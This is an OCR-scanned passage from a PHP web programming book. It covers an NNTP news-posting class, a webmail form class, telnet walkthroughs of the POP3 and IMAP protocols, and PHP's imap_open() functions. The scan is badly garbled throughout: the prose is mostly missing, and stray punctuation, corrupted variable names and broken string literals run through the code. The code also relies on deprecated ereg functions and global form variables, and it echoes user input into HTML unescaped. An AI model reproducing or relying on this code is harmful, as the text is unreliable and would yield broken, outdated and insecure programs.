return false;
>

'

'

':!:

$this->socket = fsockopen($this->nntp_host, $this->nntp_port,


&$err_no, &$err_str);
if (!$this->socket) {
if (!$err_no) $er..r_str = $this->ERR_INIT_SOCKET_ERROR;
$this->'ERRORlHSG = $this->ERR_NNTP_CONNECTION_ FAILED
.''.>:/ .,' ";$err_no: $err_str";:
return false;
}

/. ;

' . . . ' '

"

'

. "
% '::'""':.

':-,.;/' if (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPQNSE_FROM_SERVER .
.":" . $this->response_msg;
;
return false; :
.:,. : ' ; . .
}
:
if ($this->response_code == 200) return true;
.;::
else: if ($this->response_code == 201) {
$thiS->ERROR_MSG = $thiS->ERR_POSTING_NOT,ALLOWED;
;
return false;
} else { ;''.
$thiS->ERROR_MSG = $this->ERR_NNTP_CONNECTION_FAILED;
return false;

''

. ;

. ;;::::; .,,. ;

return true;
-

getResponseQ
, ,
$response_code $response_msg . , :
function getResponseO
{

if (!$thls->socket) {
* $this->ERROR_MSG = $this->ERR_NNTP_NOT_CONNECTED; ;
return false;
:
'"' . -,) '
$server_response = fgets($this->socket, 1024);
if (ereg("~([0-9]{3})(.*)$", $server_response, $match)) {
$thls->response_code = $match[1];
$this->response_msg =.$match[2];
return true;
:
:+
}
''..' .:;' .<; *>' ^
I

. ;;;j;

-;;.

: . V'v

400

11.
$this->response_msg = $server_response;
return false; ;
.

...

talk()
talk() my_smtp.
,
:
function talk($cmd, $arg='')
{
if (!$this->socket) {..'..
$this->ERROR_MSG = $this->ERR_NNTP_NOT_CONNECTEO;
return false; (
>

:1:

switch ($cmd) {
GROUP . :
case "GROUP":
if (empty($arg)) ;{
$this->ERROR_MSG = $this->ERR_GROUPJ/ITHOUT_ARG;
return false;
'. '''I'-

,.'

;",

}...,

;".

$nntp_cmd = "GROUP $arg\r\n";


fwrite($this->socket, $nntp_cmd);
if (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPONSE_FROM_SERVER .
::
i: ":" . $this->response_msg;
return false;

. ) ' . ' . . , .

;;

. "..,V" ' -.-'.. ' :

.: if ($this->response_code'!= 211 &&


$this->response_code != 411) {
$this->ERROR_HSG> $this->ERR_GROUP_FAILED .,.." " .
$this->response_code . " " . $this->response_msg;
return false;
}

'

' ' '

:'.' '

' '

."'

':-'H-. ''.". ' ' .

if ($this->response_code == 411) {:
$this->ERROR_MSG = $this->ERR_NO_SUCH_GROUP .""..
$this->response_code . " " . $this->response_msg . " "
. $arg;
return false;

- -... break;

' - : ; - ' .' '.:,!

' '

POST , . . , , POST :

Usenet

,:

401
case "POST":
if (entpty($arg)) {
$this->ERROR_MSG = $this->ERR_POST_WITHOUT_ARG;
return false;
>
... ' :';:' '
$nntp_cmd = "POST\r\n";
fwrite($this->socket, $nntp_cmd); ;
if (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPONSE_FROM_SERVER .
":" . $this->response_msg;
return false;
}
if ($this->response_code != 340 &&
$this->response_code != 440) {
$this->ERROR_MSG = $this->ERR_POST_ FAILED ."'-".
$this->response_code . " " . $this->response_msg;
return false;

\,.A4.;L ..

"

"

440 , :
if ($this->response_code == 440) {
$this->ERROR_MSG = $this->ERR_GROUP_POSTING_NQT_ALLOWED
. " " . $this->response_code . " " . $this->response_msg;
return false;
}
' '"'. '
$nntp_cmd = "$arg\r\n" . "." . "\r\n";
fwrite($this->socket, $nntp_cnid);
if (!$this->getResponse()) {
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPONSE_FROM_SERVER .
":".:, $this->response_msg;
return false;
240:
if ($this->response_code != 240) {
$this->ERROR_MSG = $this->ERR_POST_ FAILED , " " .

$this->response_code . " " . $this->response_msg;


return false;
}

breaks
. '^''"':-''
"'?'?
case: "QUIT":
$nntp_cmd = "QUIAr\n"; : :
;
; !
fwrite($this->socket, $nntp_cmd);
":
if (!$this->getResponse()) {::
$this->ERROR_MSG = $this->ERR_UNKNOWN_RESPONSE_FROM_SERVER
":" . $this->response_msg;
:
return false;

'

402

11.
if ($this->response_code != 205) < ; :
$this->ERROR_MSG = $this->ERR_OUIT_FAILED . " " .
$this->response_code . " " . $this->response_msg;
return false;
.

break;

default; :
$this->ERROR_MSG = $this->ERR_COMMAND_UNRECOGNIZED;
return false;
break;
:.}::!:;
return
' true;
buildHeaders()
. Newsgroups:
function buildHeadersO

if (empty($this->from)) {
$this->ERROR_MSG = $thls->ERR_EMPTY_FROM; ' '
return false;
a
} else if (empty($this->subject)) {
$this->ERROR_MSG = $this->ERR_EMPTY_SU8JECT;
return false;
} else if (empty($this->body)) {
. : I--.-'; $this->ERROR_MSG = $this->ERR_EMPTY-BODY; : ;
return false; y :
} else if (empty($this->newsgroups)) {
$this->ERROR_MSG = $this->ERR_EMPTY_NEWSGROUPS;
return false;
}

'

.;'''

'

;-::: .;.:.

;i

.^

$this->headers[] = "From; $this->from";


if (!empty($this->reply_to)) $this->headers[] = "Reply-To:
$this->reply_to";
, ,
, References:
if (!empty($this->references)) $this->headers[] = "References:
$this->references" ;
Newsgroups :
$this->headers[] = "Newsgroups: " . ereg_replace("[ ;]", ",",
$this->newsgroups) ;
$this->headers[] = "Subject: $this->subject";

Usenet

403
return true;
}

.:..'..

. ' ' . : . '

"'

viewMsg()
- viewMsgO - :
!

function viewMsgO

" .

^ . ';';'

if (count($this->files) > 0) $this->has_attach = true;

$this->headers = array();
$this->buildHeaders(); :
. buildHeaders() Newsgroups Subject:
$this->buildMimeHeaders();
if (!$this->buildBodyParts()) return false;
$rnsg = implode("\r\n", $this->headers);
/;.;

$msg .= "\r\n\r\n";
$msg .= $this->body;

: :

: ' : : ; : Return $msg;


}

' '

'.

'

::

'

"

' >':

send()
send(), :
function send()
{
if (count($trus->files) > 0) $this->has_attach. = true;
if (!$this->buildHeaders()) return false;
$this->buildHimeHeaders();
if (!$this->buildBodyParts().) return false;
if (!$this->connect()) return false;: ,,.^

$this->newsgroups = ereg_replace("[ \t]", "", $this->newsgroups);


Snewsgroups = explode(",", $this->newsgroups);

:::

%|:/V:V..

foreach ($newsgroups as Sgroup)


if (!$this->talk("GROUP", Sgroup)) return false;
if (!$this->talk("POSF, implode("\r\n", $this->headers) .
"\r\n\r\n" ,; $this->body)) {

404

11.
return false;

:';"-.; ; }
if (!$this->talk{"QUrr)) return false;

fclose($this->socket);
return true;

My_Nntp

:
<?
// my_nntp_class_test. php
include("./my_nntp_class. php");

$nntp = new My_Nntp();


$nntp->nntp_host = "news.php.net";
$nntp->from = "wankyu@whatever.com";
$nntp->subject = "Wrox rocks! - a test article.";
$nntp->body = "Posting a test article with an attachment";
$nntp->newsgroups = "php. test";
$nntp->files[0]["file"] = '/home/wankyu/mypicture.gif ' ;
$nntp->files[0]["filename"3 = 'mypicture.gif;
$nntp->files[0]["filetype"] = 'image/gif;
; if ($nntp->send()) {
echo("An article titled '$nntp->subject' has been successfully posted
on the following newsgroup(s): $nntp->newsgroups");
|
echo($nntp->errorMsg());
echo("<br>");
echo(eregi_replace("\r\n", "<br>", $nntp->viewMsg()));

'


, ,
. ,
, My_Webmail. . . :
<?
// my_webmail_class_test.php
include("./my_webmail_class.php");

405

Iwmail = new My_Webmail();


if (f$wmail->start($action)) echo($wmail->errorMsg());
?> i .
..'../
' .

...;

start ( ) false, ,
, , errorMsg( ).

My_Webmail ,
. :
<?php
// my_webmail_class.php
class My_Webmail
, My_Webmail
. ,
My_Webmail:
var $sendmail_class = '_1_1;
var $smtp,class = 'My_Smtp_Mime_Mail';
var $nntp_class = 'My_Nntp';
:
var $snttp_host
var $smtp_port
var Snntpjiost
var $nntp_port

= '
= 24
=: "
= 119;

HTML ,
. , :
var $HTML_TITLE = 'Welcome to My Webmail! ';
var SCHARSET = ";
, :
var $ERROR_MSG = ";

startQ
start ( ) , $action:
function start($action)

406

11.

sendWebmail( )
, mailForm( ) ,
:

switch($action) { : ; V: >: ';.-.,..

;
:
:
case 'mail' :
: :;
if (!$this->sendWebmail()) return false;
echo($this->mailForm( ) ) ;
break;
_. .
.
-,'.

...

'- '
,: "."
:
,,:.';. V"." ''"" default: \ ' . ... ' ' .... . ' ' ' . ' : :
echo($this->mailForm());
:
break; ''-*$
>
return true;

sendWebMail()
sendWebmail( ). :
' function sendWebmail()

mailForm( ) , ,
NNTP:
global $is_news, $nntp_host, $nntp_port, $use_srritp, $smtp_host,
$smtp_port;

$mail_to Newsg roups, :


global $mail_to, $mail_references, $mail_from, $mail_reply_to,
$mail_cc, $mail_bcc;
-s-M^:..~global $mail_type, $mail_charset, $mail_subject, $mail_body;
global Suserfile, $userfile_type, $userfile_name, $userfile_size;
$is_news , , sendWebmail( ):
if ($is_news) {

, NNTP :
include( " . /my_nntp_class . php" ) ;
$my_mail = new $this->nntp_class();
$my_mail->nntp_host = $nntp_host;
$my_mail->nntp_port = $nntp_port;

407

$mail_to Newsgroups:
$my_mail->newsgroups = $niail_to;
$userf ile_size 0, , , :
} else {
SMTP; $use_smtp:
if ($use_smtp) {
include("./my_smtp_mime_rriail_class.ptip");
$my_mail = new $this->smtp_class();
$my_tnail->smtp_host = $smtp_host;
$my_mail->smtp_port = $smtp_port;
} else {

mail():
include(",/my_mime_mail_class.php");
$my_mail = new $this->sendmail_class();
}

':'"' ''.\:^:

'.

'

'"','..%;- :%;;/-,;'-.;-, ;i

$my_mail->to = $mail_to;
$my_mail->cc = $mail_cc;
$my_mail->bcc = $mail_bcc;
}

::::.;. ' "'",;;

-'<, .

%^ : !.:; ;.- ;"";.

:
$my_mail->from = $mail_from;
$my_mail->type = $mail_type;
$rny_mail->charset = $mail_charset;
$my_mail->subject = $mail_subject;
$ffly_inail->body = $mail_body;
$userf ile_size, , ,
:

if ($userfile_size > 0) {
$my_mail->files[0]["file"] = $userfile;
$my_mail->files[0]["filename"] = $userfile_name;
$my_mail->files[0]["filesize"] = $userfile_size;
$my_mail->files[0]["filetype"] =..$userfile_type;

' "

::

'

408

11.

i if (!$my_mail->send()) {
$this->buildErrorMsg($my_mail->errorMsg());
return false;
, :
if ($is_news) $phrase = 'posted';
else $phrase = 'sent';
echo("<script language=\"JavaScript\">alert(\"Successfully Sphrase
'$mail_subject'!\"); history. go(-1); </script>"j;
return true;

'

'

mailForm()
mailForm( ) . , :
function mailForm()
{..
global $PHP_SELF;
htmlHeader() HTML, :
$ret_str = $this->htmlHeader($this->HTML_TITLE);
, .$ret_str .="<form name=\"MAIL_FORM\" action=\"$PHP_SELF\"
Jiethod=\"POST\" enctype=\"MULTIPART/FORM-DATA\">\n";
$ret_str .= "<input type=\"hidden\" value=\"mail\"
name=\"action\">\n"
;
;,-.. . $ret_str .= "<div align=\"center\"><table cellspacing=\"2\"
cellpadding=\"5\" width=\"90%\" border=V'1V'>\n";
?
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"100%\" colspan=\"2\"><input
type=\"checkbox\" name=\"is_news\" value=\"ON\">
POST NEWS ARTICLE</th>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
NNTP , :
$ret_str .= "<th width=\"30%\">NNTP HOST</th>\n";
$ret_str .= "<td width=\"70%\"><input type=\"TEXT\"
name=\"nntp_host\" size=\"20\"x/td>\n";


$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str '.= "<th width=\"30%\">NNTP PORT</th>\n";
$ret_str .= "<td width=\"70%\"xinput type=\"TEXT\"
name=\"nntp_port\" size=\"4\" value=\"119\"x/td>\n";
$ret_str .= "</tr>\n";

SMTP?

.4

$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"100%\" colspan=\"2\"><iiiput type=
\"checkbox\" name=\"use_smtp\" value=\"ON\">USE SMTP</th>\n";
$ret_str .= "</tr>\n";

SMTP , :
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">SMTP HOST</th>\n";
$ret_str .= "<td wldth=Y'70%Vxinput type=\"TEXT\"
name=\"smtp_host\" size=\"20\"x/td>\n";
$ret_str ,= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">SMTP PORT</th>\n";
$ret_str .= "<td width=\"70%\"xinput type=\"TEXT\"
name=\"smtp_port\" size=\"5\" value=\"25\"X/td>\n";
$ret_str .= "</tr>\n";

$ret_str ;= "<tr>\n";
$ret_str .= "<th width=\"30%\">Newsgroups^o</th>\n";
$ret_str .= "<td width=\"70%\"xinput type=\"TEXT\" name=\"mail_to\"
value=\"$mail_to\" size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">CC</th>\n";
$ret_str .= "<td width=\"70%\"><input type=\"TEXT\" name=\"mail_cc\"
value=\"$mail_cc\" size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">BCC</th>\n";
$ret_str .= "<td width=\"70%\"xinput type=\"TEXT\"
name=\"niail_bcc\" size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">FROM</th>\n";
$ret_str .= "<td width=\"70%\"><input name=\"mail_from\"
size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">REPLY-TO</th>\n";

409

410

11.
$ret_str ,= "<td width=\"70%\"xinput name=\"mail_reply_to\"
value=\"$mail_reply_to\" size=\"20\"x/td>\n";
$ret_str .= "</tr>\n";

Browse ,
, :
:

$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">ATTACHMENT</th>\n";
$ret_str .= "<td width=\"70%\"><input type=\"FILE\"
narne=\"userfile\"x/td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";

HTML?

$ret_str .= "<th width=\"30%\">TYPE</th>\n";


$ret_str .= "<td width=\"70%\"><input type=\"RADIO\" checked
value=\"text\" name=\"mail_type\">TEXT\n";
$ret_str .= "<input type=\"RADIO\" vaiue=\"html\"
name=\"wail_type\">HTML\n";
$ret_str .= "</td>\n";
$ret_str ;= "</tr>\n";
8- ?

$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">ENCODIN6</th>\n";
$ret_str .= "<td width=\"70%\"><input type=\"RADIO\" value=\"7bit\"
name=\""'ail_encoding\" checked>7BIT\n";
$ret_str .= "<input type=\"RADIO\" value=\r8bit\"
name=\"mail_encoding\">8BIT\n";
,
$ret_str ..= "</td>\n";
$ret_str ;.= "</tr>\n";
$ret_str .'= "<tr>\n";
. EUC-KR. :
$ret_str .= "<th width=\"30%\"CHARACTER SET</th>\n";
$ret_str .= "<td wldth=\"70%\"><input type=\"RADIO\" value=\
"us-ascii\" name=\"fiail_charset\" checked>US-ASCII\n";
$ret_str .= "<input type=\"RADIO\" value=\"euc-kr\"
name=\"mail_charset\">EUC-KR\n";
$ret_str .= "</td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">SUBJECT</th>\rT;
$ret_str .= "<td width=\"70%\"Xinput size=\"40\"
name=\"niail_subject\" value=\"$mail_subject\"x/td>\n";
$ret_str .= "</tr>\n";

411

:
;

$ret_str .= "<tr>\n";
$ret_str .= "<th width=\"30%\">BODY</th>\n";
$ret_str .= "<td width-\"70%\"><textarea name=\"mail_body\"
rows=\"10\" cols=\"60\">$mail_body</textarea></td>\n";
$ret_str .= "</tr>\n";
$ret_str .= "<tr>\n";:
;
$ret_str .= "<th width=Y'30%\' colspan=\"2\"><input type=\"SUBMIT\"
value=\"Send\" name=\"SUBMIT\">\n";
:
$ret_str . = "<input type=\"RESET\" value=\"Reset\"
name=\"RESET\"x/th>\n";
':,':.) $ret_str .= "</tr>\n";
$ret_str .= "</table>\n";
$ret_str .= "</div>\n";s
$ret_str . = "</form>\n";

:::i4:

- htmlFooter( ):
$ret_str .= $this->htmlFooter();
return $ret_st.r;
htmlHeader()
htmlHeader() :
HTML :
'. function htmlHeader($title=", $charset='')
<
' .',,.
'. '" ''"' ^
$ret_str = "<html>\n";
$ret_str .= "<head>\n";
if (! empty ($charset)) $ret_str .= "<meta http-equiv=\"CONTENT-TYPE\"
content=\"TEXT/HTML; charset=$charset\">\n";
$ret_str .= '<titie>$title</title>\h";
$ret_str .= "</head>\n";
$ret_str .= "<body>\n";
return $ret_str;

'

'

htmlFooter()
htmlFooter( ) -:
function htmlFooterO

. $ret_str = "</body>\n";
$ret_str .= "</html>\n";
return $ret_str;

-',;;;.p, . ; ; ; ;;., ' .

412

11.


:
>-

function buildErr6rMsg($err_rnsg, $err_arg= )


$this->ERROR_MSG = $err_msg . $this->ERR_ARGS_DELIMITER . $err_arg;
}

'

: . . . . .

function errorMsgO
return $this->ERROR MSQ;

,
(. 11.1):
File |
Search So ftjoHMrk! lasks Help

'

NNTPHOST
NNTPPORT

[r

POST NEWS ARTICLE

If

USE SMTP
SMTP HOST

SMTP PORT

ilEi
i '

Newsgroups/To
CC
BCC

JU

FROM
REPLY-TO
ATTACHMENT

. 11.1.

. , . IMAP.
.

413


m a i l ( ) :

http://www.php.net/manual/function.mail.php

RFC:

http://www.rfc.net/ - RFC 821 (Simple Mail Transfer Protocol)

http://www.rfc.net/ - RFC 822 (Internet Mail Message Format)


http://www.rfc.net/ - RFC 1049 ( Content-type)

http://www.rfc.net/ - RFC 2045-2049 (Multipurpose Internet Mail Extensions)


' http://www.rfc.net/ - RFC 977 (Network News Transfer Protocol)
http://www.rfc.net/ - RFC 1036 ( USENET)
:

http://www.rfc.net/ - RFC 2278 (IANA Charset Registration Procedures)

ftp://ftp.isi.edu/in-notes/iana/assignments/character-sets/ -

. Usenet , , ,
:
SMTP NNTP.

, MIME.
mail(). , , mail (),
SMTP.
, , NNTP.
, ,
:
My_Mail:
My_Mime_Mail: , My_Mail
MIME
My_Smtp_Mail:
SMTP

414

11.

My_Smtp_Mime_Mail: SMTP MIME


My_Nntp: NNTP,

, -
, . , , , 12,
IMAP.

12



Usenet. , .
. ,
,
, .
,
. ,
IMAP. 11,
Usenet.
, :
POP IMAP

IMAP

IMAP
, .
- Hotmail.
, .

416

12.


POP
IMAP. SMTP,
POP -. POP - , IMAP . .

POP
POP IMAP ,
. POP , IMAP
. ,
. ,
IMAP. . POP
, , . ,
. IMAP
.
IMAP POP .
telnet 110 , POP-. POP, , .
UNIX- , , ps top. POP IMAP, , , . .
POP IMAP.
, ps IMAP POP.
IMAP POP (imapd/popSd) inetd . TCP, POP
IMAP, /etc/services; 110 143 .

, . localhost
: imap :
tftelnet localhost imap

POP
, POP,
:

417

telnet whoelse.com 110


Trying 192.168.0.3...
Connected to whoelse.com.
Escape character is/."]!..
+OK POPS whoelse.com v2000.70 server ready
HELO
-ERfi Unknown AUTHORIZATION state command
;' USER yonsuk
+OK User name accepted,.password please
PASS 12345
+OK Mailbox open, 5 messages
LIST
+OK Mailbox scan listing follows
1 325
2 1250
3 2145
4 830
5 525

RETR 5
+OK 525 octets
Return-Path: <wankyu@whatever.com>
Received: from whatever.com (IDENT:wankyu@whatever.com[192.168.0.2])
by mail.somewhere.com (8.9.3/8.9.3) with SMTP id WAA29446
for yonsuk; Sun, 28 Jan 2001 23:18:09.+0900 .
Date: Sun, 28 Jan 2001 23:18:09 +0900
From: Wankyu Choi <wankyu@whatever.com>
,
To: yonsuk@whoelse.com
Message-Id: :< F890755DE93ED411 whatever.com>
Subject: Just a Note

Don't forget to bring your notebook tomorrow.


Sleep tight.
DELE 5
+OK Message deleted
QUIT
+OK Sayonara
Connection closed by foreign host.

- POP.
POP, , .
POP . SMTP,
POP +, , -ERR, . - POP ,
, - + - E R R .
POP . -ERR Unknown AUTHORIZATION state command.
!43. 989

418

12.

POP : , . POP . USER


PASS. , .
5
. LIST ( 8 ). , RETR, , RETR 5. , wankyuwhatever. com yonsuk@whoelse. com.
DELE , . , DELE ,
. QUIT.
, , . . RSET. QUIT
.
POP , , . , . , , .
, telnet POP .

IMAP
IMAP - , POP. POP
, a IMAP - . , IMAP,
POP, IMAP NNTP. . IMAP IMAP,
IMAP.
IMAP - , IMAP,
IMAP.
, .
POP.

-
, , ,
- , .
IMAP , . -

419

IMAP . ,
, , . . ,
. (*).


IMAP ,
.
.
. ,
. UNIX
/var/spool/mail/ , . , /var/spool/mail/wankyu
wankyu, .
mbox
, . , From. , . - From_line, From:
From yonsuk@whoelse.com Sat Feb 17 17:31:28 2001 // A From_ line
From: Yonsuk Song<yonsuk@whoelse.com> // A From header
:
From changsoo@>neoqst.com Sat Feb 17 17:31:28 2001
A verbatim copy of the first e-mail message
From yongpil@neoqst.com Sat Feb 17 17:50:35 2001
A verbatim copy of the second e-mail message
From sungho@neoqst.com Sat Feb 17 18:19:30 2001
A verbatim copy of the third e-mail message
mbox, MMDF,
, ctrl-A
( ), .
, , . , :
, . ,
.
, .

420

12.

NNTP
, .
IMAP , .
, .
. INBOX
( ) .
, UW-IMAP mbox, Cyrus
.
Courier-IMAP ,
Maildir Qmail. UW-IMAP :
, , .
Cyrus Courier-IMAP .

IMAP
IMAP . , ,
:
:
:
:
: LOGOUT
telnet localhost, IMAP:

# telnet localhost imap

Trying 127.0.0.1...

Connected to localhost.
Escape character is'"]'.

/:

'.'* OK [CAPABILITY IMAP4 IMAP4REV1 LOGIN-REFERRALS AUTH=LOGIN] localhost IMAP4rev1


2000.287 at Tue, 30 Jan 2001 16:15:07 +0900 (KST)
( ).
- , . LOGIN : ,
, . ,
:
WCK001 LOGIN wankyu 12345
* CAPABILITY IMAP4 IMAP4REV1 NAMESPACE IDLE MAILBOX-REFERRALS SCAN SORT THREAD=R

421

EFERENCES THREADORDEREDSUBJECT MULTIAPPEND

WCK0010K LOGIN completed

, LOGIN
"WCK001 OK LOGIN completed". . .
INBOX
. wankyu INBOX
, /home/wankyu/
Mail/. IMAP , , INBOX.
INBOX SELECT
:
WCK002 SELECT INBOX

* 10 EXISTS
* 6 RECENT
* OK [UIOVALIDITY 980691555] UID validity status
* OK [UIDNEXT 11] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags
WCK002 OK [READ-WRITE] SELECT completed
, wankyu INBOX 10 , 6
.
IMAP
(UID) . 1
. , 1 . , ,
, .
, UID , , , , UID
.
, 980691555, UID UIDVALIDITY .
(recent) - ,
, - ,
. FLAGS, , . . (. 12.1):

12.

422

12.1.

\Answered

\Flagged

- : ,
-

\Deleted

. , EXPUNGE

\Draft

\Seen

, FETCH. INBOX. , - . , :
WCK003 FETCH 5 BODY[1]
* 5 FETCH (BODY[1] {61}

Don't forget to bring your notebook tomorrow.


Sleep tight.

WCK003 OK FETCH completed


BODY , , BODY[0] BODY[1 ] . , :
WCK003 FETCH 5 BODY[0]
* 5 FETCH (BODY[0] {452}
Return-Path; <wankyu@whatever.com>
Received: from vyhatever.com (IDENT:wankyu@whatever.com[192.168.0.2])
by mail.somewhere.com (8.9.3/8.9.3) with SMTP id WAA29446
for yonsuk; Sun, 28 Jan 2001 23:18:09 +0900
Date: Sun, 28 Jan 2001 23:18:09 +0900
From: Wankyu Choi <wankyu@whatever.com>
To: yonsuk@whoelse.com
Message-Id: < F890755DE93ED411@ whatever.com>
Subject: Just a Note
)
WCK004 OK FETCH completed


BODYSTRUCTURE:

WCK005 FETCH 5 BODYSTRUCTURE


* 5 FETCH (BODYSTRUCTURE ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 61
2 NIL NIL NIL))
WCK005 OK FETCH completed

423

:
WCK006 FETCH 5 FLAGS
* 5 FETCH (FLAGS (\Seen))
WCK006 OK FETCH completed

, (\Seen).
, :
WCK007 FETCH 5 (BODYSTRUCTURE FLAGS)
* 5 FETCH (BODYSTRUCTURE ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 61
2 NIL NIL NIL) FLAGS (\Seen))
WCK007 OK FETCH completed
. UW-IMAP
wankyu
Mail:
/home/wankyu/Mail/
work, :
/home/wankyu/work/

, , . .
- , , - .
, UW-IMAP, (/),
(Cyrus Courier-IMAP) - (.). , UW-IMAP - :
WKC008 CREATE work/
WKC008 OK CREATE completed
IMAP -
work, . , work:
WKC008 CREATE work
WKC008 OK CREATE completed
- w o r k , work :
/home/wankyu/work/Jan

,
, work/Jan.

12.

424

LOGOUT:
WCK009 LOGOUT

* BYE whatever.com IMAP4rev1 server terminating connection


WCK008 OK LOGOUT completed
Connection closed by foreign host.
# ;v. -.

POP IMAP
, .
FETCH . IMAP . :
IMAP ,
, .
IMAP , IMAP.
, : personal, work, orders, orders/2001/08, orders/2000/09, orders/2001/10, orders/
2001/01/11 ..
IMAP . , . POP
, .
IMAP ,
. , .
IMAP
. , , .
, , ,
.
IMAP . POP . ,
. POP , . , .
, POP IMAP. 50 IMAP ,
, - .

425



, . , ,
.
Webmail, , , . POP NNTP, IMAP.
:
POP

IMAP
IMAP



,
,
IMAP . , .
, with-imap.
.
Windows IMAP php_imap.dll,
.


IMAP , : POP, IMAP NNTP.
- , :
, ,
,
,


imap_open() imap_close().

imap_open()
int imap_open(string mailbox, string username, string password [, int flags])

426

12.

,
. false. , .
.

:
OP_READONLY

OP_ANONYMOUS
. newsrc NNTP

OP_HALFOPEN

IMAP NNTP , ( )

CL.EXPUNGE


:
OP_ANONYMOUS | OP_HALFOPEN //
,
.
, imap_open() IMAP LOGIN SELECT. POP
NNTP.

imap_last_error() and imap_errors()


string imap_last_error()

imap_last_error()
IMAP .
,
,
- imap_errors().
:
array imap_errors()
, .

imap_close()
int imap_close(int stream [, int flags])
LOGOUT. IMAP false .

427

CL_EXPUNGE. , , .


, , , 143 whatever, com, :
<?php
// imap_open_test.php
Smailbox = "{whatever, com: 143}INBOX";
$userid = "wankyu";
$userpassword = "12345";
$stream = imap_open($mailbox, Suserid, $userpassword);
if (!$stream) die("Error opening a stream to the IMAP server! "
. imap_last_error());
echo("Successfully opened a stream to INBOX!");
if (! imap_close($stream)) die("Error closing the stream!");
, , , . ,
.
imap_open()
, , . INBOX . , , , { } , IP- .
,
, (/), . POP localhost:
Sstream = imap_open("{localhost/pop3:110}INBOX", "wankyu", "12345");

NNTP . , OP_HALFOPEN,
. , :
$host = "news.php.net";
Sprotocol = "nntp";
Sport = 119;
$stream = imap_open("\{$host/$protocol:$port}", ", ", OP_HALFOPEN);
:
Snewsgroup = 'php.test';
$stream = imap_open("\{$host/$protocol:$port}$newsgroup", ", ");

428

12.


.
4 {$ , . . 4 : echo(${$some_ variable} ). escape-: \{$.

Webmail
, NNTP,
Webmail.
,
. :
<?php

//webmail_class_ver1. php
claSs Webmail

. $protocol
$supported_protocols:
var $host =."-'";
var $protocol = "imap1;
var $supported_protocois = arrayCimap', '', 'nntp');

var $port = 143;

var Suserid = ' ';


var $userpassword = ' ';
Sstream IMAP, a $mailbox - :
:

var {stream = 0;
var $maiibox = ':';

$auto_expunge true, imap_close( ) , :


var $auto_expunge = true;

. $ERR_ARGS_DELIMITER :
var $ERR_ARGS_DEUMITER = " ";
var $ERROR_MS6 = ";.
var $ERR_STR_CONNECTION_FAILED = 'Connection failed!';.


var
var
var
var

429

$ERR_STR_PROTOCOL_NOT_SUPPORTED = 'Protocol not supported!';


$ERR_STR_CLOSE_ FAILED = 'Error closing the stream! ';
,
$ERR_STR_MAILBOX_NOT_AVAILABLE = 'Mailbox not available! ';
$ERR_STR_OVERRIDE_START = "Override start () method!";

init( ) , :
function init($host, $protocol='imap', $port=143, $userid=' ', $userpassword=' ')
{
$this->host = $host;
$this->protocol = Sprotocbl;
$this->port = $port;
$this->userid = $userid;
$this->userpassword = $userpassword;
$mailbox :
$this->mailbox = $GLOBALS[ "mailbox"];

$j3upported_protocols, :
if (!in_array($this->protocol, $this->supported_protocols)) {
$this->buildErrorMsg($this->ERR_STR_PROTOCOL_NOT_SUPPORTED,
$this->protocol);
return false;
NNTP, mailbox ,
IMAP , imap_open( ) OP_HALFOPEN.
$mailbox , :
-if ($this->protocol>== 'nntp' && empty($this->mailbox)) {
$mode ;'= OPJALFOPEN;
'...} else Smode = false;
$this->stream = @imap_open("\{
$this->host/$this->protocol:$this->port}$this->mailbox",
$this->userid, $this->userpassword, Smode);
;

if (!$this->stream) ,{
$this->buildErrorMsg($this->ERR_STR_CONNECTION_FAILED,

imap_last_error()); ,,
return false;

return true;

' ' '

430

12.

, , . -
, . ,
, .

startQ end()
,
start (), - end ( ) :
function start()
I

start( ) , Webmail
. , :
$this->buildErrorMsg($this->ERR_STR_OVERRIDE_START);
return false;
end () :
function end()
{

if ($this->auto_expunge) $ret = @imap_close($this->stream, CL_EXPUNGE);


: -else $ret = @imap_close($this->stream); :
if (!$ret) {
$this->buildErrorMsg($this->ERR_STR_CLOSE_ FAILED, imap_last_error());
return false;
}
return true;

PHP . - .

buildErrorMsg() errorMsgQ
buildErrorMsg( ) $ERROR_MS6 , , $ERR_ARGS_DELIMITER:
function buildErrorMsg($err msg, $err_arg='')
{
$this->ERROR_MSG = $err msg . $this->ERR_ARGS_DELIMITER . $err_arg;
>

431

function errorMsgO
{
return $this->ERROR_MSG;

Webmail
:
<?php
//webmail_class_test. php
include("./webmail_class_ver1.php");
class My_Webmail extends Webmail
{
function start () {
//
return true;

$host = "roail.whatever.com";
$protocol = "imap";
Sport = 143;
Suserid = "wankyu";
Suserpassword = "12345";
Swmail = new My_Webmail();
if (!$wmail->init($host, Iprotocol, Sport, luserid, luserpassword))
echo($wmail->errorMsg());
else echo( "Connected! ");
if (!$wmail->start()) echo($wmail->errorMsg());
$wmail->end();
?>
'jv ::
'
, start ( )
, Webmail.
. ,
